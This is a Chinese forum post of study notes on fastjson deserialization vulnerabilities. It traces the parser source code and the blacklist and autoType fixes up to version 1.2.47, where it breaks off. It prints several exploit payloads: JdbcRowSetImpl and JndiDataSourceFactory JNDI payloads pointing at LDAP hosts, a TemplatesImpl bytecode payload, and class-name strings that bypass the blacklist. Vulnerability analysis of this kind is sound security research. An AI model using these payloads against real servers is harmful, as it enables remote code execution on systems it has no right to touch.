fastjson记录

打印 上一主题 下一主题

主题 857|帖子 857|积分 2571

参考指南
fastjson:我一起向北,离开有你的季节 | 素十八 (su18.org)
Java 反序列化毛病始末(3)— fastjson - 浅蓝 's blog (b1ue.cn)
梅子酒の条记本 (meizjm3i.github.io)
fastjson基础

早期版本的 fastjson 的框架图

fastjson 功能要点:

  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法以及构造方法,其中

    • getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;
    • setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
    • 构造方法:优先选无参构造,没有无参构造会选取唯一的构造方法。如有多个构造方法,优先选参数最多的public构造方法。如参数最多的构造方法有多个则随机选取一个构造方法。如果被实例化的是静态内部类,也可以忽视修饰。如果被实例化的是非public类,构造方法里的的参数类型仍然可以进一步反序列化
    • public field参数类型以及静态代码块;

  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _ 和 - 进行组合混淆。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
毛病分析


早期

经典利用有两条利用链

  • JdbcRowSetImpl(JNDI) (lookup,最常见)
  • TemplatesImpl(Feature.SupportNonPublicField)(jdk7u21的利用链触发方式)
  1. {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0","autoCommit":true}
  2. {
  3.         "@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
  4.         "_bytecodes": ["yv66vgAAADQA...CJAAk="],
  5.         "_name": "hello",
  6.         "_tfactory": {},
  7.         "_outputProperties": {},
  8. }
复制代码
分析

com.alibaba.fastjson.JSON#parse(java.lang.String, int)中的parse方法实例化一个DefaultJSONParser对象并调用parse方法,之后跟进

DefaultJSONParser会初始化lexer进行不同操作,这个 lexer 属性实际上是在 DefaultJSONParser 对象被实例化的时间创建的,初始化了个JSONScanner对象
  1. public DefaultJSONParser(String input, ParserConfig config, int features) {
  2.     this(input, new JSONScanner(input, features), config);
  3. }
复制代码
因为在DefaultJSONParser操作中可显着看到token为12
  1. public DefaultJSONParser(Object input, JSONLexer lexer, ParserConfig config) {
  2.     this.dateFormatPattern = JSON.DEFFAULT_DATE_FORMAT;
  3.     this.contextArrayIndex = 0;
  4.     this.resolveStatus = 0;
  5.     this.extraTypeProviders = null;
  6.     this.extraProcessors = null;
  7.     this.fieldTypeResolver = null;
  8.     this.lexer = lexer;
  9.     this.input = input;
  10.     this.config = config;
  11.     this.symbolTable = config.symbolTable;
  12.     int ch = lexer.getCurrent();
  13.     if (ch == '{') {
  14.         lexer.next();
  15.         ((JSONLexerBase)lexer).token = 12;
  16.     } else if (ch == '[') {
  17.         lexer.next();
  18.         ((JSONLexerBase)lexer).token = 14;
  19.     } else {
  20.         lexer.nextToken();
  21.     }
  22. }
复制代码
com.alibaba.fastjson.parser.DefaultJSONParser#parse(java.lang.Object),
  1. case 12:
  2.     JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
  3.     return this.parseObject((Map)object, fieldName);
复制代码
这里new 了一个 JSONObject 对象之后进入parseObject方法
com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object),检测json格式,并对下个字符进行判断。
进行判断后,获取@type对应值,之后使用loadClass进行装载。之后getDeserializer获取序列化对象,com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze(com.alibaba.fastjson.parser.DefaultJSONParser, java.lang.reflect.Type, java.lang.Object, java.lang.Object, int)最终进行对其进行反射调用setter操作执行毛病代码;
  1. if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
  2.     ref = lexer.scanSymbol(this.symbolTable, '"');
  3.     Class<?> clazz = TypeUtils.loadClass(ref, this.config.getDefaultClassLoader());
  4.     if (clazz != null) {
  5.         lexer.nextToken(16);
  6.         if (lexer.token() != 13) {
  7.             this.setResolveStatus(2);
  8.             if (this.context != null && !(fieldName instanceof Integer)) {
  9.                 this.popContext();
  10.             }
  11.             if (object.size() > 0) {
  12.                 instance = TypeUtils.cast(object, clazz, this.config);
  13.                 this.parseObject(instance);
  14.                 thisObj = instance;
  15.                 return thisObj;
  16.             }
  17.             ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
  18.             thisObj = deserializer.deserialze(this, clazz, fieldName);
  19.             return thisObj;
  20.         }
复制代码
com.alibaba.fastjson.util.TypeUtils#loadClass(java.lang.String, java.lang.ClassLoader),只要存在就会缓存到mappings里;
  1. public static Class<?> loadClass(String className, ClassLoader classLoader) {
  2.     if (className != null && className.length() != 0) {
  3.         Class<?> clazz = (Class)mappings.get(className);    // mappings 里缓存了一些常用的基本类型,com.sun.rowset.JdbcRowSetImpl肯定是不在这里的
  4.         if (clazz != null) {
  5.             return clazz;
  6.         } else if (className.charAt(0) == '[') {
  7.             Class<?> componentType = loadClass(className.substring(1), classLoader);
  8.             return Array.newInstance(componentType, 0).getClass();
  9.         } else if (className.startsWith("L") && className.endsWith(";")) {
  10.             String newClassName = className.substring(1, className.length() - 1);
  11.             return loadClass(newClassName, classLoader);
  12.         } else {            // 最终走到 最后一个else分支里
  13.             try {
  14.                 if (classLoader != null) {
  15.                     clazz = classLoader.loadClass(className);
  16.                     mappings.put(className, clazz);
  17.                     return clazz;
  18.                 }
  19.             } catch (Throwable var6) {
  20.                 var6.printStackTrace();
  21.             }
  22.             try {
  23.                 ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
  24.                 if (contextClassLoader != null) {
  25.                     clazz = contextClassLoader.loadClass(className);    // 加载类
  26.                     mappings.put(className, clazz); //将类对象缓存在 mappings 对象
  27.                     return clazz;
  28.                 }
  29.             } catch (Throwable var5) {
  30.                 ;
  31.             }
  32.             try {
  33.                 clazz = Class.forName(className);
  34.                 mappings.put(className, clazz);
  35.                 return clazz;
  36.             } catch (Throwable var4) {
  37.                 return clazz;
  38.             }
  39.         }
  40.     } else {
  41.         return null;
  42.     }
  43. }
复制代码
中期修复

1.2.25版本更新中新增autoTypeSupport默认为false,将不支持指定类的反序列化。并通过checkAutoType函数对加载类进行黑名单+白名单验证;
获取类对象的方法由原来的TypeUtils.loadClass替换为了checkAutoType
  1. if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
  2.     ref = lexer.scanSymbol(this.symbolTable, '"');
  3.     Class<?> clazz = this.config.checkAutoType(ref, (Class)null);
复制代码
com.alibaba.fastjson.parser.ParserConfig#checkAutoType,

  • 如果开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出非常。
  • TypeUtils.mappings 中和 deserializers 中实验查找要反序列化的类,存在则return;
  • 如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载。因此中期的相干毛病基本集中于此;
TypeUtils.loadClass的方法和checkAutoType存在判断差异导致了绕过;(需要开启autoType),调用loadClass方法是循环调用,而且第二个'['也可以进行绕过
Lcom.sun.rowset.JdbcRowSetImpl;
LLLcom.sun.rowset.JdbcRowSetImpl;;;
"[com.sun.rowset.JdbcRowSetImpl"[
  1. if (className != null && className.length() != 0) {
  2.     Class<?> clazz = (Class)mappings.get(className);
  3.     if (clazz != null) {
  4.         return clazz;
  5.     } else if (className.charAt(0) == '[') {
  6.         Class<?> componentType = loadClass(className.substring(1), classLoader);
  7.         return Array.newInstance(componentType, 0).getClass();
  8.     } else if (className.startsWith("L") && className.endsWith(";")) {
  9.         String newClassName = className.substring(1, className.length() - 1);
  10.         return loadClass(newClassName, classLoader);
  11.     } else {
  12.         try {
复制代码
之后再1.2.42中延续之前检测模式而且将黑名单采用hash方式,克制了反向研究;
还有就是针对loadClass的修补,以及相干黑名单的添加;
  1. {
  2.     "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
  3.     "properties":{
  4.         "data_source":"ldap://127.0.0.1:23457/Command8"
  5.     }
  6. }
复制代码
fastjson-1.2.47

到了1.2.47,出现了部门通杀AutoTypeSupport利用毛病;

影响版本:1.2.25

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

悠扬随风

金牌会员
这个人很懒什么都没写!

标签云

快速回复 返回顶部 返回列表